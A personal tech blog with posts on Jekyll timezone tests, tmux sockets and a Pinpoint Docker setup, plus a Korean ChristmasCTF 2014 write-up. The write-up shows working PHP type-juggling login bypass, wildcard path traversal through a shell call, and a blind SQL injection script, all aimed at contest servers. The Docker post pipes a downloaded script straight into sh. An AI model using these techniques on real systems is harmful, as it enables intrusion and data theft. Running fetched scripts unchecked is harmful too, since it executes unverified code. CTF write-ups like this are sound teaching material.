Yes, this can solve the problem I faced. But should I really use the KST for this whole blog? It’ll be nice if I can show the time based on timezone of each client, but I won’t be able to handle the date part of the post URL as well. So I decided to move the timezone of this site to UTC, global standard at least.

First I should write some tests for the migration since I want to change URLs by only one push. You can access current posts by using jekyll gem. Place spec/support/jekyll_helper.rb with:

require 'jekyll'

module JekyllHelper
  def site
    unless @site
      @site = Jekyll::Site.new(
        Jekyll.configuration('serving' => false, 'full_rebuild' => true))
      @site.process
    end
  end
end

Note @site.process. This makes you be able to access @site.posts. The basic test is simple. I placed this on spec/site_spec.rb:

RSpec.describe '_site' do
  include JekyllHelper

  describe 'timezone' do
    it 'uses UTC instead of local timezone' do
      expect(site.posts).to all(be_utc_post)
      expect(site.posts).to all(have_utc_filename)
      expect(site.posts).to all(have_utc_url)
    end
  end
end

So, what’s the be_utc_post, have_utc_filename, and have_utc_url? Each of them is RSpec custom matcher. I separated the validation into three parts.

Does the date object of the post have UTC timezone?
Does the post have filename with the UTC date?
Does the generated URL have the UTC date?

So the each matcher is like following:

RSpec::Matchers.define :be_utc_post do
  match do |actual|
    expect(actual.date.zone).to eq('UTC')
  end
  failure_message do |actual|
    "expected #{actual.date} to have UTC timezone"
  end
end

RSpec::Matchers.define :have_utc_filename do
  match do |actual|
    date = actual.date.utc
    year = date.strftime('%Y')
    month = date.strftime('%m')
    day = date.strftime('%d')

    expect(actual.name)
      .to eq("#{year}-#{month}-#{day}-#{actual.slug}#{actual.ext}")
  end
  failure_message do |actual|
    "expected #{actual.name} to have UTC date"
  end
end

RSpec::Matchers.define :have_utc_url do
  match do |actual|
    date = actual.date.utc
    year = date.strftime('%Y')
    month = date.strftime('%m')
    day = date.strftime('%d')

    expect(actual.url).to eq("/#{year}/#{month}/#{day}/#{actual.slug}/")
  end
  failure_message do |actual|
    "expected #{actual.url} to have UTC date"
  end
end

Note that "/#{year}/#{month}/#{day}/#{actual.slug}/" is based on my permalink setting of _config.yml in Jekyll, so you may have to change the template appropriately.

Update: Jekyll released 3.0.0, and there were some changes on Jekyll::Post. Following code is updated version of spec code. Also you can track the file on GitHub.

RSpec::Matchers.define :be_utc_post do
  match do |actual|
    expect(actual.date.zone).to eq('UTC')
  end
  failure_message do |actual|
    "expected #{actual.date} to have UTC timezone"
  end
end

RSpec::Matchers.define :have_utc_filename do
  match do |actual|
    date = actual.date.utc
    year = date.strftime('%Y')
    month = date.strftime('%m')
    day = date.strftime('%d')
    slug = actual.data['slug']
    ext = actual.data['ext']

    expect(actual.basename)
      .to eq("#{year}-#{month}-#{day}-#{slug}#{ext}")
  end
  failure_message do |actual|
    "expected #{actual.basename} to have UTC date"
  end
end

RSpec::Matchers.define :have_utc_url do
  match do |actual|
    date = actual.date.utc
    year = date.strftime('%Y')
    month = date.strftime('%m')
    day = date.strftime('%d')
    slug = Jekyll::Utils.slugify(actual.data['slug'])

    expect(actual.url).to eq("/#{year}/#{month}/#{day}/#{slug}/")
  end
  failure_message do |actual|
    "expected #{actual.url} to have UTC date"
  end
end

RSpec.describe '_site' do
  include JekyllHelper

  describe 'timezone' do
    it 'uses UTC instead of local timezone' do
      expect(site.posts.docs).to all(be_utc_post)
      expect(site.posts.docs).to all(have_utc_filename)
      expect(site.posts.docs).to all(have_utc_url)
    end
  end
end

Tests are ready, so now we start migrating. See ‘Time Zone’ part of the documentation of Jekyll configuration.

Set the time zone for site generation. This sets the TZ environment variable, which Ruby uses to handle time and date creation and manipulation. Any entry from the IANA Time Zone Database is valid, e.g. America/New_York. A list of all available values can be found here. The default is the local time zone, as set by your operating system.

So when you add timezone: UTC to your _config.yml, you’re almost done! Remained things are boring file renames and making backward redirect links, using jekyll-redirect-from.

You can see the full changes on this commit.

Revive the Tmux Sessions

2015-05-08T00:36:46+00:00

On the previous day, I accidently removed /tmp/tmux-1000/ directory. At first, there seems no problem with Tmux. But when I created another SSH connection, I saw this error message:

$ tmux attach
no sessions
$ tmux list-sessions
failed to connect to server

But the Tmux prosesses were still there:

$ ps -ef | grep tmux
59277 16305  0 May06 pts/0    00:00:00 tmux attach

Then I immediately noticed that the removing /tmp/tmux-1000/ things made the problem. And thankfully Tmux provides workaround. From the tmux manpage:

-L socket-name

tmux stores the server socket in a directory under /tmp (or TMPDIR if set); the default socket is named default. This option allows a different socket name to be specified, allowing several independent tmux servers to be run. Unlike -S a full path is not necessary: the sockets are all created in the same directory.

If the socket is accidentally removed, the SIGUSR1 signal may be sent to the tmux server process to recreate it.

Now we can revive our Tmux sessions by sending a signal to recreate sockets:

killall -s SIGUSR1 tmux

More simply, since the number of SIGUSR1 is 10:

killall -10 tmux

Then we can do tmux attach successfully. Yay!

Using Pinpoint with Docker

2015-05-05T03:12:07+00:00

Pinpoint is an open source APM (Application Performance Management) tool for large-scale distributed systems written in Java.

Preliminary

In this post, our goal is to run a sample Pinpoint 1.6.x instance with QuickStart scripts. You can find them on GitHub. Also note that we’re going to use Docker.

Requirements

First things first, install Docker.

wget -qO- https://get.docker.com/ | sh

You can verify docker is installed correctly.

sudo docker run hello-world

For more details, see the installation guides of Docker.

Look into the Dockerfile

In fact, I already made a Dockerfile for Pinpoint. You can see on yous/pinpoint-docker. From now on, I’ll describe the Dockerfile line by line.

FROM debian

FROM instruction sets the base image of the Docker. We use lateste debian image.

RUN echo 'deb http://http.debian.net/debian/ wheezy contrib' >> /etc/apt/sources.list
RUN apt-get update

RUN instruction executes commands in Docker. We add http://http.debian.net/debian/ wheezy contrib to the /etc/apt/sources.list for java-package package, and then run apt-get update.

RUN DEBIAN_FRONTEND=noninteractive apt-get install -y git wget curl procps net-tools
RUN DEBIAN_FRONTEND=noninteractive apt-get install -y java-package fakeroot

In this section, we install basic tools like git, wget, curl. Also procps contains ps, net-tools contains netstat which is used by QuickStart scripts later.

Note the DEBIAN_FRONTEND=noninteractive, this is only for the apt-get install while building a Docker image, and this suppresses warning messages of apt-get install. Also we can set DEBIAN_FRONTEND with:

ENV DEBIAN_FRONTEND noninteractive

But we won’t add this line because when ENV sets, it will remain even after it finished the build. This is bad when we run the Docker image by docker run -i -t ... bash, the Docker is interactive, but the DEBIAN_FRONTEND is set wrong. So we’ll only set it inline. You can see the information on docker/docker#4032.

RUN useradd pinpoint -m

As installation guide of Pinpoint indicates, we need to install JDK 6 and JDK 7+. To install Java, we need a non-root user. So we add a user pinpoint and create its home directory by passing -m. Adding a user is needed to install Java.

WORKDIR /home/pinpoint

WORKDIR instruction sets the working directory for Docker. After this line, any RUN instructions are runned in this working directory.

RUN wget --no-cookies --header "Cookie: oraclelicense=accept-securebackup-cookie" \
  http://download.oracle.com/otn-pub/java/jdk/6u45-b06/jdk-6u45-linux-x64.bin
RUN chown pinpoint jdk-6u45-linux-x64.bin
RUN su pinpoint -c 'yes | fakeroot make-jpkg jdk-6u45-linux-x64.bin'
RUN rm jdk-6u45-linux-x64.bin
RUN dpkg -i oracle-j2sdk1.6_1.6.0+update45_amd64.deb
RUN rm oracle-j2sdk1.6_1.6.0+update45_amd64.deb

RUN wget --no-cookies --header "Cookie: oraclelicense=accept-securebackup-cookie" \
  http://download.oracle.com/otn-pub/java/jdk/7u79-b15/jdk-7u79-linux-x64.tar.gz
RUN chown pinpoint jdk-7u79-linux-x64.tar.gz
RUN su pinpoint -c 'yes | fakeroot make-jpkg jdk-7u79-linux-x64.tar.gz'
RUN rm jdk-7u79-linux-x64.tar.gz
RUN dpkg -i oracle-j2sdk1.7_1.7.0+update79_amd64.deb
RUN rm oracle-j2sdk1.7_1.7.0+update79_amd64.deb

Now we install Java SE 6 and then Java SE 7 on the Docker. The wget script is from “How to automate download and installation of Java JDK on Linux?”. Running fakeroot make-jpkg ... and dpkg -i ... installs Java.

ENV JAVA_6_HOME /usr/lib/jvm/j2sdk1.6-oracle
ENV JAVA_7_HOME /usr/lib/jvm/j2sdk1.7-oracle
ENV JAVA_HOME /usr/lib/jvm/j2sdk1.7-oracle

For the requirements of Pinpoint, we set JAVA_6_HOME, JAVA_7_HOME and JAVA_HOME environment variables.

WORKDIR /usr/local/apache-maven

Now we’re going to install Maven.

ADD http://mirror.apache-kr.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz ./
ADD http://www.apache.org/dist//maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz.md5 ./
ADD http://www.apache.org/dist//maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz.asc ./

ADD instructions copies new files, directories, or remote file from URL to the specified path. Above lines just download Maven files from Apache mirror.

RUN [ $(md5sum apache-maven-3.2.5-bin.tar.gz | grep --only-matching -m 1 '^[0-9a-f]*') = $(cat apache-maven-3.2.5-bin.tar.gz.md5) ]

This matches MD5 hash checksum of apache-maven-3.2.5-bin.tar.gz with apache-maven-3.2.5-bin-tar.gz.md5.

RUN gpg --keyserver pgp.mit.edu --recv-key BB617866
RUN gpg --verify apache-maven-3.2.5-bin.tar.gz.asc apache-maven-3.2.5-bin.tar.gz

This verifies signature for apache-maven-3.2.5-bin.tar.gz with apache-maven-3.2.5-bin.tar.gz.asc.

RUN tar -xf apache-maven-3.2.5-bin.tar.gz
ENV PATH $PATH:/usr/local/apache-maven/apache-maven-3.2.5/bin
RUN rm apache-maven-3.2.5-bin.tar.gz apache-maven-3.2.5-bin.tar.gz.md5 apache-maven-3.2.5-bin.tar.gz.asc

Now we install Maven 3.2.5 on the Docker. Note that we have to add the path of Maven to the PATH.

RUN git clone -b 1.6.x https://github.com/pinpoint-apm/pinpoint.git /pinpoint
WORKDIR /pinpoint
RUN mvn install -Dmaven.test.skip=true

All requirements are installed, so we clone Pinpoint to the /pinpoint and install it.

WORKDIR quickstart/hbase
ADD http://archive.apache.org/dist/hbase/hbase-0.94.25/hbase-0.94.25.tar.gz ./
RUN tar -xf hbase-0.94.25.tar.gz
RUN rm hbase-0.94.25.tar.gz
RUN ln -s hbase-0.94.25 hbase
RUN cp ../conf/hbase/hbase-site.xml hbase-0.94.25/conf/
RUN chmod +x hbase-0.94.25/bin/start-hbase.sh

After installation of Pinpoint, we install HBase 0.94.25 as quickstart/bin/start-hbase.sh of Pinpoint does it.

Running Docker

You can pull the Docker image:

docker pull yous/pinpoint

Then run the image:

docker run -i -t yous/pinpoint bash

Also if you want to remove the container after Docker exits, use:

docker run -i -t --rm yous/pinpoint bash

This makes you can check some requirements like which java, but you can’t run QuickStart scripts successfully. Since the scripts check the program name in the result of netstat, we should pass some option. See docker/docker#7276 for details.

docker run -i -t --cap-add SYS_PTRACE yous/pinpoint bash

Also, note that we are going to use port 28080, 28081 and 28082 in QuickStart. So binding a container’s port to a specific port is needed. -p flag will do it. See Linking Containers Together for details.

docker run -i -t -p 28080:28080 -p 28081:28081 -p 28082:28082 \
  --cap-add SYS_PTRACE yous/pinpoint bash

QuickStart

We built a Docker image for Pinpoint, so now we can run QuickStart scripts. As mentioned in QuickStart of Pinpoint, we run several scripts.

Install & Start HBase

Download & Start: quickstart/bin/start-hbase.sh
Initialize Tables: quickstart/bin/init-hbase.sh

Start Pinpoint Daemons

Collector: quickstart/bin/start-collector.sh
Web UI: quickstart/bin/start-web.sh
TestApp: quickstart/bin/start-testapp.sh

Once HBase and the 3 daemons are running, visit the following addresses to test out your Pinpoint instance.

Web UI: http://localhost:28080
TestApp: http://localhost:28081

Stopping

HBase: quickstart/bin/stop-hbase.sh
Collector: quickstart/bin/stop-collector.sh
Web UI: quickstart/bin/stop-web.sh
TestApp: quickstart/bin/stop-testapp.sh

Summary

You can run Pinpoint on Docker by:

docker pull yous/pinpoint
docker run -i -t -p 28080:28080 -p 28081:28081 -p 28082:28082 \
  --cap-add SYS_PTRACE yous/pinpoint bash

Inside the Docker, run:

quickstart/bin/start-hbase.sh
quickstart/bin/init-hbase.sh
quickstart/bin/start-collector.sh
quickstart/bin/start-web.sh
quickstart/bin/start-testapp.sh

Then you can access http://localhost:28080 for Web UI and http://localhost:28081 for TestApp.

Note again, you can see my Dockerfile on yous/pinpoint-docker. Any issues and pull requests are welcome!

Comparing binary files

2015-03-03T10:13:29+00:00

Seeing differences between files

As using Git, looking changes of files with git diff is common. Always we can check the status of files with git status, including whether there is a new file that isn’t added to index, existence of changed files.

I downloaded the syllabus of each course I registered before the start of the semester. This is the first week of semester, professors introduce their course with the adjusted syllabus. Of course I can access the updated ones, but I can’t sure that the files which already I have are the same with which I downloaded right before. I want to keep the old one and the new one both, avoid just overwriting them.

Comparing binary files

I just wanted to check whether two binary files are the same or not, no matter what the difference is.

Windows

You can use fc, file compare, which is Microsoft DOS command.

fc /b file1 file2

The /b flag is for a binary comparison. If two files are the same, it prints a message like ‘FC: no differences encountered’, if they’re not, it shows each byte of two files per line.

Unix

You can use cmp which compares two files byte by byte.

cmp file1 file2

When two files are the same, it prints no message and return 0. If they are different, it prints some message and return 1.

ChristmasCTF 2014 Write-up

2014-12-25T15:41:26+00:00

Are you able to multiply? - ALGO200
JingleBell - MISC200
KrystalHolic - WEB400
A Letter To Her - WEB100
A Letter To Her 2 - WEB500
WEIGHT AND MEASURES - ALGO200
PHP Obfuscate - WEB500
Trace - MISC100

Are you able to multiply? - ALGO200

곱하기는 정말 어렵지 않나요?

서버 : prob2.christmasctf.com 4725

열심히 곱셈을 하는 문제입니다.

n * n 의 (10 <= n <= 30) 격자와, 자연수 x 가 주어집니다

n * n 격자 안에서 x 개의 인접한 수들의 곱의 최대값을 구하시오(수평, 수직, 대각선, 역대각선 모두 포함)

정답 제출 방식 :

수평으로 곱이 최대값이라면, hori_곱의결과
수직으로의 곱이 최대값이라면, verti_곱의결과
대각선으로의 곱이 최대값이라면 diago_곱의결과
역대각선으로의 곱이 최대값이라면 condiago_곱의결과

정답을 위와 같은 방식으로 제출 해 주십시오

Stage (0 / 20)

03 62 13 99 80 78 15 75 21 07 41 77 47 85 58 57 36 13 79 22 59
72 69 08 52 05 50 54 58 09 02 51 15 57 73 06 63 61 44 20 92 04
46 76 62 81 95 28 22 54 20 06 40 12 12 97 71 50 05 22 64 73 05
91 33 82 19 89 62 31 87 15 76 85 34 07 16 26 57 01 50 73 68 53
17 22 69 10 16 50 08 97 40 53 69 51 87 33 62 36 80 39 01 71 42
06 46 83 13 74 15 07 05 68 51 87 70 35 19 20 86 70 07 72 67 72
91 19 64 41 48 37 88 02 08 27 14 51 08 60 72 09 69 27 32 37 09
28 52 42 44 59 21 69 08 32 42 02 92 79 37 32 37 19 88 69 39 29
84 27 31 26 60 32 83 66 72 21 87 39 50 95 13 19 95 72 98 76 38
18 06 50 28 68 58 48 44 01 47 93 44 53 27 27 98 20 42 04 57 36
99 34 88 92 90 38 77 50 55 13 33 44 49 09 22 88 70 15 23 75 05
19 20 44 79 98 04 65 45 03 30 46 31 74 47 75 70 45 95 26 93 21
91 48 42 20 81 80 74 63 34 32 06 56 41 06 79 52 81 03 26 43 21
69 80 24 04 36 04 14 42 56 31 29 92 12 40 92 88 57 33 16 83 76
33 83 63 42 35 50 42 23 92 95 48 52 81 64 49 79 15 57 26 71 92
78 39 12 72 18 98 59 97 35 95 55 35 37 49 19 93 34 11 04 81 91
22 52 84 70 09 27 83 91 84 13 81 55 82 49 43 89 13 07 37 84 94
52 29 80 39 20 22 13 95 19 71 08 76 68 94 33 53 20 70 42 93 81
79 57 76 12 51 76 62 48 79 90 62 60 46 81 98 89 96 60 28 20 63
28 25 14 24 58 01 46 59 63 87 17 54 83 55 93 94 99 36 52 19 10
79 92 48 29 80 57 53 94 66 99 09 32 37 69 56 19 42 60 76 01 47


x = 6

answer>

곱합시다.

require 'socket'

s = TCPSocket.open('prob2.christmasctf.com', 4725)
# Instruction
puts s.recv(65536)

loop do
  # Stage
  str = s.recv(1_000_000)
  puts str
  matrix = []
  x = -1
  str.each_line do |line|
    matrix << line.chomp.split.map(&:to_i) if line =~ /^\d/
    x = $1.to_i if line =~ /x = (\d+)/
  end
  puts "x = #{x}"

  hori = -1
  matrix.each do |row|
    (0..row.size - x).each do |index|
      tmp = row[index...index + x].reduce(:*)
      hori = tmp if hori < tmp
    end
  end

  verti = -1
  matrix[0].size.times do |col_idx|
    (0..matrix.size - x).each do |row_idx|
      tmp = (0...x).reduce(1) { |a, e| a * matrix[row_idx + e][col_idx] }
      verti = tmp if verti < tmp
    end
  end

  diago = -1
  (0..matrix.size - x).each do |row|
    (0..matrix[0].size - x).each do |col|
      tmp = (0...x).reduce(1) { |a, e| a * matrix[row + e][col + e] }
      diago = tmp if diago < tmp
    end
  end

  condiago = -1
  (0..matrix.size - x).each do |row|
    (0..matrix[0].size - x).each do |col|
      tmp = (0...x).reduce(1) { |a, e| a * matrix[row + x - 1 - e][col + e] }
      condiago = tmp if condiago < tmp
    end
  end

  max = [hori, verti, diago, condiago].max
  message = case max
            when hori
              "hori_#{hori}"
            when verti
              "verti_#{verti}"
            when diago
              "diago_#{diago}"
            when condiago
              "condiago_#{condiago}"
            end
  puts message
  s.send(message, 0)
end

20 스테이지까지 통과하면 Flag를 받을 수 있습니다.

크리스마스의 행복도 곱하기가 되길 바라며...

Flag is I_L0VE_S6nta, I_L0Ve_Father, I_L0VE_Y0U...

Flag는 I_L0VE_S6nta, I_L0Ve_Father, I_L0VE_Y0U...입니다.

JingleBell - MISC200

Kevin은 이번 크리스마스에 자신의 여자친구인 Margaretha에게 노래를 선물하기 위해 징글벨을 편곡했다.
악보에 숨겨진 Kevin의 메세지를 찾으시오.

Authkey has to be Uppercase

꽤나 수상한 악보입니다. 아랫줄을 보면 박자도 맞지 않고 음도 제멋대로입니다. CODEGATE 2009 예선전 Prob9 문제를 참고하여 주시기 바랍니다.

마타하리라는 암호라고 하는데, 정보가 확실하진 않으나 해당 글의 WELCOME TO까지 완벽히 동일합니다. 아래 표를 보고 직접 해독합니다.

WELC OME TO CHRI ST
MAS CTF PAS SIS ####
#MAT AHAR IZ ZA NG#

Flag는 MATAHARIZZANG입니다.

KrystalHolic - WEB400

http://web-prob.dkserver.wo.tc/krystalholic_1e2fdfa6874f87345dd7f27099a38668

Board를 보면 트위터 아이디 @kruby808이 보입니다. 들어가서 트윗을 보면 좋아하는 뮤직비디오의 주소(https://www.youtube.com/watch?v=KEDCy1NA8H0)를 얻을 수 있습니다. 이를 이용해 kruby808 계정의 비밀번호를 찾읍시다.

id : kruby808
pw : th1s_IS_n0T_FL4G

로그인을 하면 Flag 메뉴에서 볼 수 있던 level이 10에서 9로 올라갔음을 알 수 있습니다. 더불어 Board 메뉴에서 관리자가 쓴 글을 읽을 수 있습니다.

if((!preg_match("/[a-f0-9]{32}/",$_COOKIE['session_chk'])) || (strlen($_COOKIE['session_chk']) != 32)) exit('No Cheat!');

if(strtolower("dev_" . $_COOKIE['session_chk']) == strtolower("dev_" . md5($_COOKIE['user_id']))) exit("개발중입니다");

if(strtolower($_COOKIE['session_chk']) == strtolower(md5($_COOKIE['user_id']))) $_SESSION['id'] = $_COOKIE['user_id'];

login 페이지에서 이렇게 자동로그인을 구현했는데 보안에 문제가 없을까요? ㅠㅠ

일단 $_COOKIE['session_chk']는 32글자의 해시 형태가 되어야 합니다. 두 번째 조건을 보면 $_COOKIE['session_chk']가 $_COOKIE['user_id']의 MD5면 안 될 것 같은데, 세 번째 조건을 보면 또 $_COOKIE[session_chk]와 $_COOKIE['user_id']의 MD5를 검사합니다.

하지만 이 관리자는 ==를 사용했습니다. PHP에서 ==를 사용할 경우 양쪽 모두 문자열이더라도 한 쪽이라도 숫자처럼 보이면 양쪽 다 숫자 변환을 한 후 비교합니다.

적당히 MD5의 맨 앞 자리가 숫자가 되는 문자열을 찾습니다.

require 'digest/md5'
Digest::MD5.hexdigest('1aacesz')
# => "1a8c7efd14576c4ebd90c2214ecea5cd"

그리고 쿠키를 만들어 user_id에는 좀전의 1aacesz를, 하지만 session_chk에는 00000000000000000000000000000001을 넣습니다. 이때 두 번째 조건과 세 번째 조건은 아래와 같습니다.

"dev_00000000000000000000000000000001" == "dev_1a8c7efd14576c4ebd90c2214ecea5cd"
"00000000000000000000000000000001" == "1a8c7efd14576c4ebd90c2214ecea5cd"

각각 거짓, 참이어서 $_SESSION['id']에 1aacesz가 들어가게 됩니다. Flag 메뉴에 들어가면 Flag를 볼 수 있습니다.

Flag:{UP_down_UP_UP_down}

Your level : Null

Flag는 UP_down_UP_UP_down입니다.

A Letter To Her - WEB100

Link

Flag 버튼을 누르면 http://web-prob.dkserver.wo.tc/letter_4f1ad94372c166c3cb9632ed5041849a/flag.php로 이동합니다. 다음과 같은 글이 보입니다.

주석에 있지롱 ^___________^

이 파일의 주석을 보아야 하는 것 같습니다. 하지만 PHP 파일이라서 보이지 않는 거겠죠. 메뉴의 Clue를 봅시다.

if(preg_match("/[a-zA-Z]/",$_GET[letter])) exit("No Hack");

elseif(strlen($_GET[letter])>5) exit("No Hack");

system("head ./letter/" . $_GET[letter]);

어느 페이지에서 letter를 인자로 받고 있는 것 같습니다. Letter 페이지의 Letter 1, Letter 2, Letter 3, Letter 4가 각각 다음과 같은 URL을 갖습니다.

http://web-prob.dkserver.wo.tc/letter_4f1ad94372c166c3cb9632ed5041849a/?letter=1
http://web-prob.dkserver.wo.tc/letter_4f1ad94372c166c3cb9632ed5041849a/?letter=2
http://web-prob.dkserver.wo.tc/letter_4f1ad94372c166c3cb9632ed5041849a/?letter=3
http://web-prob.dkserver.wo.tc/letter_4f1ad94372c166c3cb9632ed5041849a/?letter=4

?letter=에 영문을 입력하지 않고 적당히 우회하면 되는 문제입니다. 정직하게 ../flag.php를 쓰려니 너무 길고 이미 파일 이름에 알파벳이 포함되어 있습니다.

와일드카드를 써 봅시다. letter에 ../*를 넣습니다.

http://web-prob.dkserver.wo.tc/letter_4f1ad94372c166c3cb9632ed5041849a/?letter=../*

소스를 봅니다.

==&gt; ./letter/../css &lt;==

==&gt; ./letter/../flag.php &lt;==
<!--?php
/********************************
*                               *
*                               *
*    Flag:{snow_is_commmming}   *
*                               *
*                               *
********************************/
?-->


==&gt; ./letter/../images &lt;==

==&gt; ./letter/../inc &lt;==

==&gt; ./letter/../index.php &lt;==
<!--?php include("inc/5f0c2baaa2c0426eed9a958e3fe0ff94.php"); // header ?-->
<!--?php $page = $_GET['page'];
if($page == "photo"){ ?-->

Flag는 snow_is_commmming입니다.

A Letter To Her 2 - WEB500

Link

Clue를 봅시다.

CREATE TABLE `table_name` (

`no` int NOT NULL,

`letter` varchar(256) COLLATE 'utf32_unicode_ci' NOT NULL

)

Letter는 아까와 같지만 4번 항목만 Secret :)이라는 메시지와 함께 가려져 있습니다. 일단 괄호를 쓸 수 없습니다. 시도 끝에 like를 사용한 쿼리를 하나 만들었습니다.

?letter=-1 or letter like "%%" and no=4

여기에서 4번 글의 길이를 알아낼 수 있는데요, like의 와일드카드 _를 사용하면 됩니다. 길이가 맞지 않으면 존재하지 않는 글입니다 메시지가 나오고, 길이가 맞으면 Secret :)을 볼 수 있습니다.

?letter=-1 or letter like "_" and no=4
?letter=-1 or letter like "__" and no=4
?letter=-1 or letter like "___" and no=4
...

길이는 10글자입니다. 문제는 글의 내용인데요, "%A%" 등의 알파벳이 존재하지 않습니다. 처음 등장한 Clue에서 utf32_unicode_ci라는 부분을 생각하면 글이 한글로 이루어져 있는 것 같습니다. 마찬가지로 like를 이용해 한글 글자를 빼냅니다.

require 'net/http'

('가'..'힣').each do |char|
  puts char if Net::HTTP.get_response(URI.parse("http://web-prob.dkserver.wo.tc/sqli_962a035aacf08966ffc7610957ac0c29/?letter=-1%20or%20letter%20like%20%27#{URI.escape("%#{char}%")}%27%20and%20no=4")).body.force_encoding('utf-8') =~ /Secret/
end

끝까지 돌렸다면 아마 아래와 같은 결과가 나왔을 것입니다만, 다 나오기 전에 추측했습니다.

그
날
는
라
래
리
아
야
오
플

각 글자의 자리는 __________의 각 글자 중 한 자리에 넣어봄으로써 알아냈습니다. 글 내용은 플래그는오리야날아라였습니다.

Flag는 오리야날아라입니다.

WEIGHT AND MEASURES - ALGO200

밤(bam)이라는 검은 거북이가 친구들과 햄버거놀이를 하기 위해 문의를 해왔다. 혹시 놀이를 하다가 다칠 수도 있기 때문이다. 햄버거놀이를 하기 위해 동원된 거북이는 체중과 체력이 모두 다르다. 가능한 한 가장 많은 거북이를 쌓는 방법을 찾아보자.

[+] Notice : 여러 줄이 입력되는데, 한 줄에 한 쌍의 정수가 입력된다. 첫번째 정수는 체중을, 두번째 정수는 거북이의 체력을 나타낸다. 거북이의 체중은 그램 단위로 입력된다. 즉 체중이 600g이고 체력이 1500인 거북이의 등 위에는 900g을 올려놓을 수 있다.

[+] Notice : 어떤 거북이도 자기 체력이 허용하는 한도 내에서만 등 위에 다른 거북이를 올려놓으면서, 몇 마리의 거북이를 쌓을 수 있는지를 나타내는 정수를 출력한다.

3초 안에 계산해서 제출해야 한다. 제출 방식은 쌓을 수 있는 거북이의 숫자 turtles로 제출하면 된다.

[+] examples

거북이 = 4마리

No.1

1300

1710

No.2

100

1350

No.3

1000

1550

No.4

600

990

Answer = 2 turtles

Server: prob2.christmasctf.com 4941 (괄호안에 있는 답만 인증해주세요)

다른 알고리즘 문제와 마찬가지로 해답을 코딩하면 됩니다.

require 'socket'

def answer(count, acc, turtles)
  return [count, acc] if turtles.empty?
  return [count + 1, acc + turtles[0][0]] if turtles.size == 1
  turtles.map.with_index do |turtle, i|
    remain = turtles[0...i] + turtles[(i + 1)...turtles.size]
    answer(count + 1, acc + turtle[0], remain.select { |v| v[2] >= acc + turtle[0] })
  end.max_by(&:first)
end

s = TCPSocket.open('prob2.christmasctf.com', 4941)
# Instruction
puts s.recv(65535)

loop do
  print input = s.recv(65535)
  turtle_count = -1
  turtles = []
  lines = input.lines
  lines.shift until lines[0] =~ /round/
  while turtle_count == -1 || turtles.size < turtle_count
    line = lines.shift
    if line.nil?
      print input = s.recv(65535)
      lines = input.lines
      line = lines.shift
    end
    turtle_count = $1.to_i if line.force_encoding('utf-8') =~ /^거북이\s*=\s*(\d+)/
    if line =~ /^No\./
      weight = lines.shift.to_i
      measure = lines.shift.to_i
      turtles << [weight, measure, measure - weight]
    end
  end

  puts message = "#{answer(0, 0, turtles)[0]} turtles"
  s.send(message, 0)
end

20문제를 풀게 되면 다음과 같은 메시지를 받을 수 있습니다.

Congratz! You are Dynamic algorithm master
The Flag is christmas{Rac_reKrei$her_!s_so_cute_@lligat0r!}

Flag는 Rac_reKrei$her_!s_so_cute_@lligat0r!입니다.

PHP Obfuscate - WEB500

PHP Version 5.2.12에서 테스트했습니다

의도하지 않은 풀이가 존재할 경우에 christmasctf@gmail.com 로 메일을 보내주세요!

답 처리 해드립니다 :)

http://goo.gl/ml28eF

위 링크에 접근이 되지 않는다면 이 링크를 사용해주시기 바랍니다.

압축을 풀면 난독화된 index.php가 나옵니다.

<?php

////////////////////////
//          stage1         //
////////////////////////

$á=array(0);
$$a=~$á[0];
$a+=$$a*$$a;
$á[$a]=~$a*-1^$a;
$á[a]=~$á[$a]*-1;
$á[$a]*=$á[a]*$á[$a];
$á[$a]+=$á[$a]^4;
$á[â]=$á[$a]/$á[a];
$à=$_GET[flag];
$á[$a]*=$a+$a;
$á[$a]-=$á[a]^$á[â];
if(ord($à[$a^$a])-$a!=$á[$a])exit("wrong");
$á[$a]-=$á[â]-$á[a];
if((ord($à[$a])-$á[a]!=$á[$a]-$a))exit("wrong");
$á[sqrt($á[a])] = round(sqrt($á[a]*ord($á)))*$á[a];
if($á[$a]-$a != ord($à[$á[a]-$a]))exit("wrong");
$á[round(sqrt($á[a]*ord($á)))*$á[a]] = sqrt($á[a]);
if((ord($à[pow($á[round(sqrt($á[a]*ord($á)))*$á[a]],$á[round(sqrt($á[a]*ord($á)))*$á[a]])])+$a) != $á[$a+$a]*(($á[a]*($a+$a)+$a)/($a+$á[a]+$a))) exit("wrong");
$á[$$a]=ord($à[$$a])-$á[â]+$a;
if(chr($á[$$a]+sqrt($á[$$a])-$a) != $à[$á[$a]-$á[$$a]])exit("wrong");


$flag_array = array(
    7,
    111,
    95,			/*
    114,			*        this is stage2 of challenge.
    117,			*          i think this stage is easy,
    98,			*  but you should read code deliberately
    105,			*     i hope you enjoy ctf and have fun.
    121,			*               from your friend
    97,			*                     rubiya
    95,			*/
    100,
    060
);
for($i=$a;$i<count($flag_array);$i++){ $flag_array[$i] = chr($flag_array[$i]); }
    for($count=5;$count<sqrt($á[$$a]);$count++){
        if($_GET[flag][$count].$_GET[fIag][$count-$i] != $flag_array[$count-$i].$_GET[fIag][$count-$i+1]) exit("wrong");
    }
    $flag_len = strlen($_GET[flag]);
    $length_chk = 1;
    while($flag_len > 1) $length_chk += $flag_len -= 1;
    if(($length_chk < 110) || ($length_chk > 130))exit("wrong");
    $stage3 = substr($_GET[flag],-7);
    $stage3_1 = substr($stage3,0,6);
    $stage3_2 = substr($stage3,1,6);
    $tmp = "stage3_";
    for($i=0;$i<6;$i++){
        $tmp .= ord($stage3_1[$i]) + ord($stage3_2[$i]);
    }
    if($tmp != "stage3_143193195211162158")exit("wrong");
    echo "You did it!<br>Flag is {<strong>" . $_GET[flag] . "</strong>}";

?>

동일한 동작을 위해 최대한 비슷한 PHP 버전에서 시도해야 합니다. Online PHP Functions의 PHP Sandbox에서 PHP 5.2.16 환경으로 작업했습니다.

일단 라틴 알파벳들은 보기 쉬운 알파벳들로 바꾸고, 계산 작업을 수행해 줍니다.

$_a = array(0);
$_a[a] = 4;
$_a[c] = 17;
$b = $_GET[flag];
if (ord($b[0]) != 116) exit("wrong");
$_a[1] = 102;
if (ord($b[1]) != 105) exit("wrong");
$_a[2] = 64;
if (101 != ord($b[3])) exit("wrong");
$_a[64] = 2;
if (ord($b[4]) != 95) exit("wrong");
$_a[] = 100;
if (chr(109) != $b[2]) exit("wrong");

